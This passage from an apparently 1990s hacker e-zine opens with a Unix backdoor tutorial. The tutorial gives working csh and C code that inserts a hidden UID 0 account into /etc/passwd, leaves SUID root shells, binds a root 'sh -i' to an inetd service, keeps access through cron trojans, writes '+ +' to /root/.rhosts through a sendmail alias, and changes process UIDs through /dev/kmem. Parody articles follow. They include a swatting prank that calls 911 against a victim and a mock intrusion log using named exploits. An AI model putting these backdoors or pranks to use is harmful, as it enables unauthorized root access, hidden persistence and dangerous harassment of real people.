prepend or append it. Anyone causally examining the passwd file will see this. So, why not stick it in the middle... #!/bin/csh # Inserts a UID 0 account into the middle of the passwd file. # There is likely a way to do this in 1/2 a line of AWK or SED. Oh well. # daemon9@netcom.com set linecount = `wc -l /etc/passwd` cd # Do this at home. cp /etc/passwd ./temppass # Safety first. echo passwd file has $linecount[1] lines. @ linecount[1] /= 2 @ linecount[1] += 1 # we only want 2 temp files echo Creating two files, $linecount[1] lines each $or approximately that$. split -$linecount[1] ./temppass # passwd string optional echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa cat ./xab >> ./xaa mv ./xaa /etc/passwd chmod 644 /etc/passwd # or whatever it was beforehand rm ./xa* ./temppass echo Done... NEVER, EVER, change the root password. The reasons are obvious. [2] In a similar vein, enable a disabled account as UID 0, such as Sync. Or, perhaps, an account somwhere buried deep in the passwd file has been abandoned, and disabled by the sysadmin. Change her UID to 0 (and remove the '*' from the second field). [3] Leave an SUID root shell in /tmp. #!/bin/sh # Everyone's favorite... cp /bin/csh /tmp/.evilnaughtyshell # Don't name it that... chmod 4755 /tmp/.evilnaughtyshell Many systems run cron jobs to clean /tmp nightly. Most systems clean /tmp upon a reboot. Many systems have /tmp mounted to disallow SUID programs from executing. You can change all of these, but if the filesystem starts filling up, people may notice...but, hey, this *is* the overt section....). I will not detail the changes neccessary because they can be quite system specific. Check out /var/spool/cron/crontabs/root and /etc/fstab. _________________________________________________________________ The Veiled [4] The super-server configuration file is not the first place a sysadmin will look, so why not put one there? First, some background info: The Internet daemon (/etc/inetd) listens for connection requests on TCP and UDP ports and spawns the appropriate program (usally a server) when a connection request arrives. The format of the /etc/inetd.conf file is simple. Typical lines look like this: (1) (2) (3) (4) (5) (6) (7) ftp stream tcp nowait root /usr/etc/ftpd ftpd talk dgram udp wait root /usr/etc/ntalkd ntalkd Field (1) is the daemon name that should appear in /etc/services. This tells inetd what to look for in /etc/services to determine which port it should associate the program name with. (2) tells inetd which type of socket connection the daemon will expect. TCP uses streams, and UDP uses datagrams. Field (3) is the protocol field which is either of the two transport protocols, TCP or UDP. Field (4) specifies whether or not the daemon is iterative or concurrent. A 'wait' flag indicates that the server will process a connection and make all subsequent connections wait. 'Nowait' means the server will accept a connection, spawn a child process to handle the connection, and then go back to sleep, waiting for further connections. Field (5) is the user (or more inportantly, the UID) that the daemon is run as. (6) is the program to run when a connection arrives, and (7) is the actual command (and optional arguments). If the program is trivial (usally requiring no user interaction) inetd may handle it internally. This is done with an 'internal' flag in fields (6) and (7). So, to install a handy backdoor, choose a service that is not used often, and replace the daemon that would normally handle it with something else. A program that creates an SUID root shell, a program that adds a root account for you in the /etc/passwd file, etc... For the insinuation-impaired, try this: Open the /etc/inetd.conf in an available editor. Find the line that reads: daytime stream tcp nowait root internal and change it to: daytime stream tcp nowait /bin/sh sh -i. You now need to restart /etc/inetd so it will reread the config file. It is up to you how you want to do this. You can kill and restart the process, (kill -9 , /usr/sbin/inetd or /usr/etc/inetd) which will interuppt ALL network connections (so it is a good idea to do this off peak hours). [5] An option to compromising a well known service would be to install a new one, that runs a program of your choice. One simple solution is to set up a shell the runs similar to the above backdoor. You need to make sure the entry appears in /etc/services as well as in /etc/inetd.conf. The format of the /etc/services file is simple: (1) (2)/(3) (4) smtp 25/tcp mail Field (1) is the service, field (2) is the port number, (3) is the protocol type the service expects, and (4) is the common name associated with the service. For instance, add this line to /etc/services: evil 22/tcp evil and this line to /etc/inetd.conf: evil stream tcp nowait /bin/sh sh -i Restart inetd as before. Note: Potentially, these are a VERY powerful backdoors. They not only offer local rentry from any account on the system, they offer rentry from *any* account on *any* computer on the Internet. [6] Cron-based trojan I. Cron is a wonderful system administration tool. It is also a wonderful tool for backdoors, since root's crontab will, well, run as root... Again, depending on the level of experience of the sysadmin (and the implementation), this backdoor may or may not last. /var/spool/cron/crontabs/root is where root's list for crontabs is usally located. Here, you have several options. I will list a only few, as cron-based backdoors are only limited by your imagination. Cron is the clock daemon. It is a tool for automatically executing commands at specified dates and times. Crontab is the command used to add, remove, or view your crontab entries. It is just as easy to manually edit the /var/spool/crontab/root file as it is to use crontab. A crontab entry has six fields: (1) (2) (3) (4) (5) (6) 0 0 * * 1 /usr/bin/updatedb Fields (1)-(5) are as follows: minute (0-59), hour (0-23), day of the month (1-31) month of the year (1-12), day of the week (0-6). Field (6) is the command (or shell script) to execute. The above shell script is executed on Mondays. To exploit cron, simply add an entry into /var/spool/crontab/root. For example: You can have a cronjob that will run daily and look in the /etc/passwd file for the UID 0 account we previously added, and add him if he is missing, or do nothing otherwise (it may not be a bad idea to actually *insert* this shell code into an already installed crontab entry shell script, to further obfuscate your shady intentions). Add this line to /var/spool/crontab/root: 0 0 * * * /usr/bin/trojancode This is the shell script: #!/bin/csh # Is our eviluser still on the system? Let's make sure he is. #daemon9@netcom.com set evilflag = (`grep eviluser /etc/passwd`) if($#evilflag == 0) then # Is he there? set linecount = `wc -l /etc/passwd` cd # Do this at home. cp /etc/passwd ./temppass # Safety first. @ linecount[1] /= 2 @ linecount[1] += 1 # we only want 2 temp files split -$linecount[1] ./temppass # passwd string optional echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa cat ./xab >> ./xaa mv ./xaa /etc/passwd chmod 644 /etc/passwd # or whatever it was beforehand rm ./xa* ./temppass echo Done... else endif [7] Cron-based trojan II. This one was brought to my attention by our very own Mr. Zippy. For this, you need a copy of the /etc/passwd file hidden somewhere. In this hidden passwd file (call it /var/spool/mail/.sneaky) we have but one entry, a root account with a passwd of your choosing. We run a cronjob that will, every morning at 2:30am (or every other morning), save a copy of the real /etc/passwd file, and install this trojan one as the real /etc/passwd file for one minute (synchronize swatches!). Any normal user or process trying to login or access the /etc/passwd file would get an error, but one minute later, everything would be ok. Add this line to root's crontab file: 29 2 * * * /bin/usr/sneakysneaky_passwd make sure this exists: #echo "root:1234567890123:0:0:Operator:/:/bin/csh" > /var/spool/mail/.sneaky and this is the simple shell script: #!/bin/csh # Install trojan /etc/passwd file for one minute #daemon9@netcom.com cp /etc/passwd /etc/.temppass cp /var/spool/mail/.sneaky /etc/passwd sleep 60 mv /etc/.temppass /etc/passwd [8] Compiled code trojan. Simple idea. Instead of a shell script, have some nice C code to obfuscate the effects. Here it is. Make sure it runs as root. Name it something innocous. Hide it well. /* A little trojan to create an SUID root shell, if the proper argument is given. C code, rather than shell to hide obvious it's effects. */ /* daemon9@netcom.com */ #include<h> #define KEYWORD "industry3" #define BUFFERSIZE 10 int main(argc, argv) int argc; char *argv[];{ int i=0; if(argv[1]){ /* we've got an argument, is it the keyword? */ if(!(strcmp(KEYWORD,argv[1]))){ /* This is the trojan part. */ system("cp /bin/csh /bin/.swp121"); system("chown root /bin/.swp121"); system("chmod 4755 /bin/.swp121"); } } /* Put your possibly system specific trojan messages here */ /* Let's look like we're doing something... */ printf("Sychronizing bitmap image records."); /* system("ls -alR / >& /dev/null > /dev/null&); */ for(;i [9] The sendmail aliases file. The sendmail aliases file allows for mail sent to a particular username to either expand to several users, or perhaps pipe the output to a program. Most well known of these is the uudecode alias trojan. Simply add the line: "decode: "|/usr/bin/uudecode" to the /etc/aliases file. Usally, you would then create a uuencoded .rhosts file with the full pathname embedded. #! /bin/csh # Create our .rhosts file. Note this will output to stdout. echo "+ +" > tmpfile /usr/bin/uuencode tmpfile /root/.rhosts Next telnet to the desired site, port 25. Simply fakemail to decode and use as the subject body, the uuencoded version of the .rhosts file. For a one liner (not faked, however) do this: %echo "+ +" | /usr/bin/uuencode /root/.rhosts | mail decode@target.com You can be as creative as you wish in this case. You can setup an alias that, when mailed to, will run a program of your choosing. Many of the previous scripts and methods can be employed here. __________________________________________________________________________ The Covert [10] Trojan code in common programs. This is a rather sneaky method that is really only detectable by programs such tripwire. The idea is simple: insert trojan code in the source of a commonly used program. Some of most useful programs to us in this case are su, login and passwd because they already run SUID root, and need no permission modification. Below are some general examples of what you would want to do, after obtaining the correct sourcecode for the particular flavor of UNIX you are backdooring. (Note: This may not always be possible, as some UNIX vendors are not so generous with thier sourcecode.) Since the code is very lengthy and different for many flavors, I will just include basic psuedo-code: get input; if input is special hardcoded flag, spawn evil trojan; else if input is valid, continue; else quit with error; ... Not complex or difficult. Trojans of this nature can be done in less than 10 lines of additional code. __________________________________________________________________________ The Esoteric [11] /dev/kmem exploit. It represents the virtual of the system. Since the kernel keeps it's parameters in memory, it is possible to modify the memory of the machine to change the UID of your processes. To do so requires that /dev/kmem have read/write permission. The following steps are executed: Open the /dev/kmem device, seek to your page in memory, overwrite the UID of your current process, then spawn a csh, which will inherit this UID. The following program does just that. /* If /kmem is is readable and writable, this program will change the user's UID and GID to 0. */ /* This code originally appeared in "UNIX security: A practical tutorial" with some modifications by daemon9@netcom.com */ #include <h> #include <h> #include <signal.h> #include <param.h> #include <types.h> #include <dir.h> #include <user.h> #define KEYWORD "nomenclature1" struct user userpage; long address(), userlocation; int main(argc, argv, envp) int argc; char *argv[], *envp[];{ int count, fd; long where, lseek(); if(argv[1]){ /* we've got an argument, is it the keyword? */ if(!(strcmp(KEYWORD,argv[1]))){ fd=(open("/dev/kmem",O_RDWR); if(fd #include <h> #include <h> #define LNULL ((LDFILE *)0) long address(){ LDFILE *object; SYMENT symbol; long idx=0; object=ldopen("/unix",LNULL); if(!object){ fprintf(stderr,"Cannot open /unix.\n"); exit(50); } for(;ldtbread(object,idx,&symbol)==SUCCESS;idx++){ if(!strcmp("_u",ldgetname(object,&symbol))){ fprintf(stdout,"User page is at 0x%8.8x\n",symbol.n_val ue); ldclose(object); return(symbol.n_value); } } fprintf(stderr,"Cannot read symbol table in /unix.\n"); exit(60); } [12] Since the previous code requires /dev/kmem to be world accessable, and this is not likely a natural event, we need to take care of this. My advice is to write a shell script similar to the one in [7] that will change the permissions on /dev/kmem for a discrete amount of time (say 5 minutes) and then restore the original permissions. You can add this source to the source in [7]: chmod 666 /dev/kmem sleep 300 # Nap for 5 minutes chmod 600 /dev/kmem # Or whatever it was before ______________________________________________________________________________ 666666666666666666666666666666666666666666666666666666666666666666666666666666 ______________________________________________________________________________ BoW BoW BoW BoW BoW Bo* *BoW BoW BoW BoW BoW Bo W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW Bo| HAQING 10-10-321 |BoW BoW BoW BoW BoW Bo W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW Bo* by: S1l3nt K0ur13r *BoW BoW BoW BoW BoW Bo ============================================================================== R0q 0n $@#$@# R4m 1t d0wn and sh0v3 it up $@# Phear th3 st33l HST of BoW az it m0ws u d0wn 0n th3 inf0rmat10n sup3rhighway. R u d0wn ?! Kuz h3r3 k0m3z th3 A-K AZKII SPR4Y $$@#!$# BoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoW BoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoW BoW BoW BoW HaQing 10-10-321 BoW BoW by: S1l3nt K0ur13r BoW BoW BoW BoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoW BoW ]--]===BoW===]---- BoW BoW W4r3z 1nj3kt3d BoW BoW H1gh 0ct4n3 BoW BoW m0th3r Fuqr BoW BoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoW BoWBoW..........Phear BoW...........BoWBoW BoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoW St3p 0n3: KN0w th3 k0d3 @$$#$@ B3f0re y0u b3g1n haq1ng, it is important that y0u mem0rize the following k0de: 10-10-321 (T3n T3n Thr33 Tw0 0n3, pl3as3 ign0re th3 dazh3s) 1t fl0wz 0ff th3 t0ngue l1ke l3ach axs 0n ur fav0urite w4r3z BB$. St3p Tw0: Th1ngz y0u w1ll n33d: 1) b31g3 b0x 2) Axs t0 junct10n b0x 0f sTup1d m1ddl3 kl4zz 1d10t v1kt1m. 3) "EYE PHEAR BoW" t-sh1rt (non-0ptional) 4) eff1gy 0f Gen3 Spaff0rd to l34ve h4nging bY junct10n b0x (w4rdz 3n3my Haqrs away fr0m ur jUnct10n b0x) 5) p0zter 0f tsut0uma sh1m0m0ura t0 d00dle 0n. (opt10nal) 6) bUzh t0 h1d3 b3h1nd. St3p Thr33: H4ck1ng w1th 10-10-321: Sn34k 0ut t0 jUnct10n b0x sn00p3d 0ut and l0cat3d dUr1ng the pr3pat0ry w0rk 1n st3p 0ne. Pr3f3rably d0 th1z 1n th3 evening s0 y0u k4n m0ve by cl0ak 0f n1ght, und3t3cted by y0ur ch0sen enemy. G3t c0mf0rtable behind bUzhes s0 y0u are 1n a c0mf0rtable p0sition t0 d0 y0ur w0rk. If you have th3 t1me: perf0rm the relaxat10n ritual outlined in BoW #3. N0w y0u are ready $@#$#@ R3m0ve the c0ver off of the junct10n b0x and l0cate y0ur targ3t line, if y0u d0 n0t kn0w h0w to do this u are a fagg0t w4nn4b3 and y0u sh0uld st1ck t0 h4cking p0p mach1n3z. 10-10-321 1z f0r m3n $#$@# 0nce y0u have l0cat3d the target l1ne to jack into, cl1p onto it w1th the alligat0r cl1pz c0ming out of y0ur b31ge box. (see diagram b3l0w.) Y0u sh0uld n0w rece1ve d1altone 0n ur be1ge b0x, if y0u d0 n0t y0u mUzt h4ve fucked s0mething up and sh0uld g0 rent s0me anth0ny r0bbinz v1deoz. If y0u d0 receive dialt0ne y0u are n0w ready t0 perf0rm th3 d33d. D1al the f0ll0wing: 10-10-321-911 # Wh3n th3 3m3rg3ncy service answ3rz skream inc0herently int0 the ph0ne ab0ut du0dz in trenchc0atz f1r1ng semi-aut0matic weap0nz at y0u. M4ke sure t0 make reference to Gene Spaff0rd and Dale Drew, th1z will thr0w them 0ff 0f y0ur trail. Th3 emergency crews (ie: p0lice, firetrucks, narqs) sh0uld b w3ll on their way to y0ur targ3tz h0me l0ng b4 y0u even hang up. N0w it iz rec0mm3nded that y0u setup a c0nf. Dial th3 f0ll0wing: 10-10-321-700-456-1000 Y0u are n0w dialing alliance telec0nferencing wh1le diverting y0ur call thr0ugh 10-10-321. Kn0w the k0d3 @$@#$@# N0w f0ll0w the pr0mpts and mak3 sure t0 p0und in all y0ur k-k0ol friends int0 the conferenc3. Y0ur c0nvenient c0ver behind th3 bUzh3s w1ll pr0vide excell3nt vantage p0int t0 b0th enj0y ur c0nf3r3nc3 fr0m and a gr34t plac3 t0 w4tch all th3 akt10n that y0u have insured will take plac3 at y0ur enemy's h0use when the emergency crews arrive to arr3zt his a$$. If y0u g3t b0red, d00dl3 0n the pikture 0f j4pb0y shim0m0ura pr0cured in st3p tw0. D1agram A: .""""". | u p | <--- Haqr h1d1ng .------. <----- junction b0x 0| " |0 0ut Un1x | SW | \ o / Styl3 | Bell | b31g3 b0x --> .-. | | | | .-----|*| ***. | | .------' |#| ******* | .------' '_' ********* <-- Buzh3s 2 h1d3 | | ******** 1n --------------------------------------------*****----------------------------- W0rd @!$@# Th1z k-k0ol g-f1l3 has b33n br0ught t0 y0u by th3 nUmb3r 9, Th3 L3tt3rz B, o and W and alz0 bY th3 phrase: FUQ YOU $#@$@#$. BoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoW BoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoW BoWBoWBoW S1l3nt K0ur13r BoWBoWBoW BoWBoWBoW [BoW] '99 BoWBoWBoW BoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoW BoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoWBoW ______________________________________________________________________________ 777777777777777777777777777777777777777777777777777777777777777777777777777777 ______________________________________________________________________________ BoW BoW BoW BoW BoW Bo* *BoW BoW BoW BoW BoW Bo W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW Bo| HOW TO BE AN ELITE HAQR |BoW BoW BoW BoW BoW Bo W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW Bo* by: so1o [CRH] *BoW BoW BoW BoW BoW Bo ============================================================================== m4ny 0f u k1dz 0ut th3r3 r 0bv10usly k0nfUz3d aZ t0 h0w t0 b a r34lly k00l hAkKr tYp3.. w3ll, 1'v3 d3c1d3d t0 h3lp u l4ym0rZz 0ut w1th th1z v3ry v3ry /<-r4d 4rt1kl3 0n h4ck1ng un1x syst3mz.. h0p3fUlly u w1ll f1nd 1t h3lpfUl wh1l3 expl0r1ng 0n th3 1nph() s00ph3r-h1gHw31gh. sh0uld u enk0unt3r 4ny d1ff1kUlt13z 0r h4v3 aNy kW3zt10nZ, f33l fr33 t0 k0nt4kt m3 v1a t3l3f0n3 @ 44 (0)117 985-7249. (1tz a .uK # wh1ch m4y b l0ng d1st4nc3 ph0r m4ny 0f u amer1k4n h4qrZ.. 1ph u r n0t el3et en0ugh t0 h4v3 k0d3z, f33l fr33 t0 k4ll k0ll3kt, 1 w1ll 4cc3pt ch4rg3z jU$t t0 h4v3 sUm1 t0 t4lk t0). telnet> o ns2.co.uk # th1s 1z my v3ry k-PhR3sh s3kUr1ty k0mp4ny... # sUm d4y w3'll h4v3 cl13ntz Trying 209.203.235.87... Connected to ns2.co.uk Escape character is '^]'. Virtual Server (saturn.exploit.net) # ch3k 0ut mY r4d h0stn4m3!@ login: so1o Password: ant10nl1n3r0x Last login on ttyp7 from dgs.dgsys.com w3lc0m3 t0 th3 jUngl3.. pl3z3 b3h4v3 uRs3lf & d0nt st34l my el1t3 w4r3z. th4nx. -- so1o % whoami so1o % /tmp/.sneaky ; n0t3: th1z bAkd00r t4k3n fr0m daemon9'z art1kl3 ; wh1ch app34rz elsewh3r3 1n th1z issu3.. h3 1z a ; f3ll0w el8 # whoami root ; z3r0-d4y!@$*)( # telnet dgs.dgsys.com ; all h4qrz b0unc3 t0 h1d3 th31r ip & l0ok k001 ; eY3 uz3 th1s s1t3 f0r m0st 0f my h4ck1ng ; 0f .m1lz etc.. f33l fr33 t0 uz3 1t 4ls0, ; th3y'll n3v3r k4tch 0n Trying 204.97.64.1... Connected to dgs.dgsys.com. Escape character is '^]'. UNIX(r) System V Release 4.0 (dgs) login: check_mate ; my k-r4d l0g1n bAkd00r.. ev3ry s1t3 eYe h4k ; eYe uz3 th3 sAm3 l0g1n b1n, th1z 1z g00d kUz ; th4t w4y ey3 d0nt g3t k0nfUz3d & stUph ; th3 alt3rnat1v3z r rshd <bAkd00r pw 'humble'> ; 0r l0g1n aga1n <l/p 0wnd>. th1z 1z my fav0r1t3 ; by f4r th0. Last login: Sat May 1 12:19:33 on pts/0 root@dgs:~# ls -la /bin/login -rwx------ 1 root root 46444 May 3 1996 /bin/login root@dgs:~# ls -cl /bin/login -rwx------ 1 root root 46444 Apr 2 13:13 /bin/login ; hmm, our l0g1n bAkd00r s33mz 4 b1t l4rg3.. alz0 th3 ct1m3z r ch4ng3d. ; bUt eYe d0nt th1nk th3y'll n0t1c3... root@dgs:~# cd /dev/.../el8/\ h1dd3n/s3KrUt/z3r0-d4y/uR_g3tt1ng_th3r3/\ k33p_g01ng/alm0Zt_th3r3/wAr3z ; n0w th1z 1z wh3r3 1t g3tz a b1t k0mpl1k4t3d.. hAck1ng n3w s1t3z. ; f1rZt, u mUzt h4v3 tw0 v3ry ess3nt14l el8 x-pl0iTZz wh1ch r ; ast0und1ngly /<-r4d & overwh3lm1ng 1n th31r bUgtr4qn3zZ.. ; th3y r kn0wn aZ 'dropstat' and 'automountdexp.' ; th1z 1z h0w th3y w0rk: root@dgs:~# ./dropstat help.me.im.a.retard.and.this.is.sum.worthless.machine. that.no.one.gives.a.fuck.about.but.i.think.its.cool.to. hack.anything.ending.in.navy.mil rpc.statd located on port 32771 # whoami root ; s33, v3ry s1mpl3! n0w f0r aut0m0untd, th1z 1z a b1t tr1ck13r.. root@dgs:~# ./amountdexp i.own.lame.unpatched.solaris.2.5.boxes.in.the.uk Automountd attack via rpc.statd bouncing Success. ; n0w u mUzt t4k3 a s3k0nd st3p.. th3 expl01t dUz s0m3 w31rd stUph ; aNd m4k3z a r00tsh3ll h4pp3n 0r s0m3th1ng 1ph u t3ln3t t0 p0rt 1524.. root@dgs:~# telnet i.own.lame.unpatched.solaris.2.5.boxes.in.the.uk 1524 Trying 3.1.33.7... Connected to i.own.lame.unpatched.solaris.2.5.boxes.in.the.uk. Escape character is '^].' # ; el1t3 w3 r r00t1n ; th1s als0 cr3at3z sUm w31rd /tmp/bob f1l3, 1m n0t sUr3 wh4t 1tz f0r, ; bUt u k4n jUzt l34v3 1t th3r3.. n01 w1ll 3v3r n0t1c3 w3ll d00dz th4tz b4s1k4lly 4ll th3r3 1z t0 1t.. 1t v4r13z 4 b1t.. th1s wUz 4 sl1ght d3p4rtur3 fr0m th3 n0rm f0r m3 s1nc3 1 usU4lly 0nly h4k l1nux w1th my 0-d4y mountd, ftpd, and imapd w4r3z + my 0wnd/0wnd l0g1n b4kd00r, bUt th3 pr1nc1pl3z r m0stly th3 s4m3. h0p3 u f0und 1t 1nf0rm4t1v3. p34c3 0ut, so1o ______________________________________________________________________________ 888888888888888888888888888888888888888888888888888888888888888888888888888888 ______________________________________________________________________________ BoW BoW BoW BoW BoW Bo* *BoW BoW BoW BoW BoW Bo W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW Bo| TH3 3NT3RT41NM3NT K0LUMN |BoW BoW BoW BoW BoW Bo W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW Bo* by: D1str0-D4v3 [BoW/H4G1S] *BoW BoW BoW BoW BoW Bo ============================================================================== Ph1rst there w4s St4r W4r3Zz, Th3 SPA Str1kez B4ck, and R3turn 0f th3 Z3r0d4y, n0w V3lkr0ph1lm studios br1ngZz j00 the m0st 4nt1cip4t3d prequ3l th3 w0rld h4s ever s33n. s3t y0ur ph4z3rz 0n phun f0r: _______.___________. ___ .______ / | | / \ | _ \ | (----`---| |----` / ^ \ | |_) | \ \ | | / /_\ \ | / .----) | | | / _____ \ | |\ \----. |_______/ |__| /__/ \__\ | _| `._____| ____ __ ____ ___ .______ _______ _______. \ \ / \ / / / \ | _ \ | ____| / | \ \/ \/ / / ^ \ | |_) | | |__ | (----` \ / / /_\ \ | / | __| \ \ \ /\ / / _____ \ | |\ \----.| |____.----) | \__/ \__/ /__/ \__\ | _| `._____||_______|_______/ EPISODE 0N3: THE K0URRI3R M3N4C3 "Eye Phear BoW." -- Gene Spafford "One of the year's most Recent films!" -- Leonard Maltin "You'll laugh until you stop!" -- Roger Ebert "I'd say something, but I'm dead" -- Gene Siskel "w0w. I've wasted my life." -- Dale Drew _ \\ <---- l1ght s4b3r \\ \\ _\.//|/._ ------- y0ung j3d1 k0ur13r \\ > < / \\ @ o O @ / \\ | ^ | \\ \ <_> / \\ -___- \\ ___| |___ \\ / --- \ \ \ / /|U$3 TH3 \ \ ---w4r3z dr01d o o______ / / |PH0RC3!| \ \_____oo / C3P0-d4y un1t, (o\ \______/ | | \----- ooo / w1th k-k00l BoW \_\ | | /------\ arch1tectur3!@# |_______| / | | | | \ k4n st0r3 6 |___0___| | O. oo o | terrabytez!@# /) | (\ |----------| | . | | |%%| |&| | *!@ blEeP bl0op.. | / \ | | |%%| | BoW rul3z !** | | | | | * * | | | | | | ::: | The k4st: --------- Chris G0gg4nZ as th3 y0unG LUK3 D0WNL04D3R, a y0ung k0urri3r wh0 is 1gn0r4nt 0f h1s sys0p h3r1t4ge, but h4z th3 sp4rq 1ns1d3 h1m t0 unl34sh th3 unl1m1t3d cr3d1tz th4t k4n s4v3 th3 un1v3rs3. h1z f4th3r l0st h1s l1fe wh3n Luke w4s 4 b4by dur1n4g th3 ph1rst SPA r4id... 0r s0 he th1nkZz. N1ck P0tk4y st4rz 4z th3 imph4m0us N4RQ VAD3R, th3 ev1l l34d3r 0f th3 SPA. B3nt 0n k33p1ng qu4l1ty w4rez 0ut 0f th3 h4ndz 0f th3 pir8 4ll1anc3, N4rq V4d3r w1ll st0p 4t n0th1ng t0 ph0rc3 th3 g4l4xy t0 p4y ph0r th31r 4ppz. b3l13ved t0 h4v3 been th3 1nf0rm4nt t0 th3 FBI th4t r3sult3d in th3 r4id on Luke'z f4rth3r'z cr4ck1ng gr0up, 4nd th3 f0rm1ng 0f th3 SPA. Als0 st4rr1ng G4il Th4ck3r4y 4s th3 b34t1ful Pr1nc3zz Z3r0d4ya, K3v1n M1tn1ck as 0day Want Shen0bi, 4nd 3mm4nu3l g0ldst31n as th3 pl4yful w4r3z-dr0id C3P0-D4Y. F34tur1ng sp3c14l 4pp34r4ncez by tsut0mu sh1m0mur4 4s Japa the Slut 4nd k3v1n P0uls3n 4s K0D4, th3 4g3d k0urr1er m4st3r and pr0vid3r 0f 3l1t3 k0d3z. The St0ry: ---------- th3 adventur3 b3g1nz......... th3 republ1k 0f th3 g4l4ct1k 0rd3r 0f k0ur13rz ass3mbl3 1n 0rd3r 2 0vrthr0w th31r w4r3z-m0ng0r1ng 0pr3ss0rz...th3 SPA. A y0ung d00dl3 b0y by th3 n4me 0f Luke Downl04der 1z k4ll3d t0 th3 c4uz bY a w1$3 0ld BoW af1l by th3 n4me 0f 0day Want Shen0bi. 0day tr41nz y0ung D0wnl04d3r 1n th3 w4yz 0f th3 ph0rc3.. th3 all-enc0mp4$$1ng energy s0urc3 th4t phl0wz thrU th3 s0ul 0f every h4rdk0r3 k0ur13r. w1th th3 ph0rc3 0n ur s1d3 u k4n d0 alm0$t anyth1ng...cr4ck err0r 29...s31ze trunkZ 1n 24 d1ffernt c0untr13z...ev4d3 b4n-k1ckz 0n #hack...g3t uR gr0upz k0py 0f t0mb r41d3r 16 0ut b4 any1 els3!@# aft3r th3 SPA/FBI r41dz 0f th3 k0ur13rz [n4m3d 'th3 cl0ne w4rs'] th3 gr0up c0uld n0 l0ng3r u$e th31r m0t b4gz t0 k4ll b04rdz 1n g3rm4ny. D0wnl04d3r w0uld b th3 l4$t h0pe.... k4n h3 phrEE th3 w4r3z 4 a gener4t10n 0f k1dz ph0rc3d 2 p4y h4rd e4rn3d c4$h 4 th31r w4r3?!@# eye d0n't kn0w du0dz buT eye h0p3 s0...st4y tun3d ph0r th1$ sur3 t0 be ep1c adventur3!@#!@# _.-'~~~~~~`-._ N4rq / || \ V4d3r / || \ "Luk3 my s0n, JoIN tH3 SPA +------> | || | 4nd y0u CaN bE MY c0-SySoP! | _______||_______ | |/ ----- \/ ----- \| Y0u W1Ll NeVeR h4v3 Th3 / (WAREZ) (0-DAY) \ cr3d1tz y0u nEeD t0 l34ch / \ ----- () ----- / \ th3 Z3r0Day 0th3rWiSe!" / \ /||\ / \ / | \ /||||\ / | \ / SPA \ /||||||\ / SPA \ /_ | \o========o/ | _\ `--...__|`-._ _.-'|__...--' `' St4r W4r3z iZ k0pyr1ght 1999 1ndu$tr14l v3lkr0 4nd m4g1k ______________________________________________________________________________ 999999999999999999999999999999999999999999999999999999999999999999999999999999 ______________________________________________________________________________ BoW BoW BoW BoW BoW Bo* *BoW BoW BoW BoW BoW Bo W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW Bo| B1W FIGHTING F0RCE: AN INTRO |BoW BoW BoW BoW BoW Bo W BoW BoW BoW BoW Bo* + ------------------------------ + *BoW BoW BoW BoW BoW BoW BoW BoW BoW BoW Bo* by: The 0wn3d R4ng3r *BoW BoW BoW BoW BoW Bo ============================================================================== B1WB1WB1WB1WB1WB1WB1WB1WB1WB1WB1WB1WB1W BOW TH3 BEE 0NE D0UBLE-YEWZ BOW BOW ---[ B 1 W ]--- BOW BOWBOWBOWBOWBOWBOWBOWBOWBOWBOWBOWBOWBOW BOW BY THE 0WN3D R4NGER BOW BOWBOWBOWBOWBOWBOWBOWBOWBOWBOWBOWBOWBOW BOW W4REZ RUSTLER, BOW BOW 0UTL4W K0D3SLINGER BOW BOW H1 Y0 SPLO1TER, AWAY! BOW B1WB1WB1WB1WB1WB1WB1WB1WB1WB1WB1WB1WB1W INTRODUCTION: Y0Y0Y0Y0 BITCH3Z!@#$!!@!@@#! TH3 OWN3D RANGER H3R3 W1TH SOME FRESH NEWZ ON THE HOM3FR0NT ABOUT THE M0ST PH34RS0ME FIGHTING F0RCE TO HIT TH3 SC3NE S1NCE JIMMY AND BILLY L33 KICK3D EVERY0N3S ASS IN DOUBL3 DR4GON. BEFOR3 3Y3 KONTINU3, Y0U MAY HAVE N0T1CED TH4T TH1S 4RTIKL3 1S S3T FOR 40 K0LUMNZ. W3LL MY AMIGA G0T FR1ED CUZ EY3 SK0R3D T00 HIGH 0N L3MM1NGZ 4ND IT SH0+ MY F4TT3R AGNUZ CH1P. SO EYE AM PH0RC3D T0 SCR1B3 THIS ON MY C64. BUT TH4T'5 OK CUZ I 4D0R3 MY 64. ANYWAYZ, B4CK T0 TH3 B1W'Z: 1T IS W3LL KN0WN TH4T TH4T TH3 UPP3R ECH3L0NZ OF B0W AR3 PH1LL3D W1TH S00PAH-T0UGH BAD ASS THUGZ. IF U FUCK W1TH BOW, Y0U W1LL PH33L TH3 WR4TH 0F OUR "F1STZ 0F TH3 N0RTHST4R", AND F1ND TH3 B0W K0LL3KT1VE B00T V1OL4T1NG Y0' ASS IN 4 FL4SH. H0W3VER, MY G00D BUDD13 U4EA IS A V3RY BUSY M4N 4ND H4VING TO D1SH 0U+ VI0L3NC3 T0 TH3 L4M3 1Z 4 T1ME- C0NSUM1NG 4ND 